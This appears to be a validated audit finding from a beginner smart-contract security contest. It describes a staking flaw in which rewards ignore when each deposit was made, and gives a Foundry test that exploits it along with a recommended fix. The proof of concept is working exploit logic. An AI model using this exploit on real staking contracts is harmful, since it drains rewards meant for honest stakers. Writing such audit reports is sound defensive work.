First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`Staking::claimRewards` function doesn't consider staking time for staked amount allowing claim on the Tokens which are not even staked for a week.

shikhar229169

Summary

Staking contract allows users to claim tokens for their staked amount on the basis of full week, but tokens not deposited for a week are also considered eligible for claim when claim is made for tokens staked for a full week, allowing one to deposit least possible amount initially and before claiming deposit the highest possible amount and take the claim on the later deposited token even though they were not staked at least for a week.

Vulnerability Details

The vulnerability is present in the Staking contract as it lags the necessary implementation to maintain staking time for every deposit, and as a result of which it considers the staking time of every tokens deposited after first deposit the same, which will allow the user to claim tokens for all the LoveToken not even deposited for a week.

It is required to maintain the necessary timestamp when a user has deposited in the protocol and on the basis of the time at which a deposit is made should be considered for claim if the time of deposit for that particular amount is at least a week.

But in the current implementation it considers the time for all the deposits the same as first one, thus giving privilege to the user for claiming on the tokens not even deposited for a week.

Impact

User can get claim on tokens not deposited for a week.

Thus, a user can initially deposit the minimum possible amount of token, and later when some weeks are finished the user can deposit all their tokens before they claim allowing them to make a claim on the later deposited token not even deposited for a week.

PoC

Add the test in the file: test/unit/StakingTest.t.sol

Run the test:

forge test --mt test_UsersCanClaimAmountForTokensNotStakedForAWeek
function test_UsersCanClaimAmountForTokensNotStakedForAWeek() public {
// ------------------ Two Soulmates ----------------------------------
address romeo = makeAddr("romeo");
address juliet = makeAddr("juliet");
​
// ------------------ Setup for Testing (Collecting LoveToken) --------------------------------
vm.prank(romeo);
soulmateContract.mintSoulmateToken();
​
vm.prank(juliet);
soulmateContract.mintSoulmateToken();
​
// 777 days later
vm.warp(block.timestamp + 777 days);
​
// collect LoveToken ❤️ from Airdrop
vm.prank(juliet);
airdropContract.claim(); // total tokens claimed should be 777
assert(loveToken.balanceOf(juliet) == 777e18);
​
// ---------------------- Actual Testing Begins ---------------------------------
​
// juliet stakes only single token
vm.startPrank(juliet);
loveToken.approve(address(stakingContract), 1e18);
stakingContract.deposit(1e18);
vm.stopPrank();
​
// 1 week later
vm.warp(block.timestamp + 1 weeks);
​
// juliet again deposits the remaining balance
vm.startPrank(juliet);
loveToken.approve(address(stakingContract), loveToken.balanceOf(juliet));
stakingContract.deposit(loveToken.balanceOf(juliet));
vm.stopPrank();
​
// now, juliet has staked 1 token for 1 week, but the remaining token balance is staked just now
// and thus it is not 1 week old, thus should not be eligible for rewards
// only the 1 token deposited previous week is eligible for reward
​
uint256 balanceBeforClaim = loveToken.balanceOf(juliet);
​
// juliet claims rewards for staking
vm.prank(juliet);
stakingContract.claimRewards();
​
uint256 rewardedBalance = loveToken.balanceOf(juliet) - balanceBeforClaim;
​
// but still due to not tracking time of individual deposits, the rewarded amount is also granted for tokens which are not staked for a full week
// now actually for 1 week, 1 token was deposited but rewarded amount will be greater than that.
// the remaining balance of 776 token staked after is also considered for reward even though it is not staked for 1 week
assert(rewardedBalance > 1e18);
}

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

  • Maintain a timestamp for every deposit of tokens.

  • When a claim is made consider only those token deposit eligible for claim which were deposited for at least a week and consider the reward on the basis of lastClaim.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.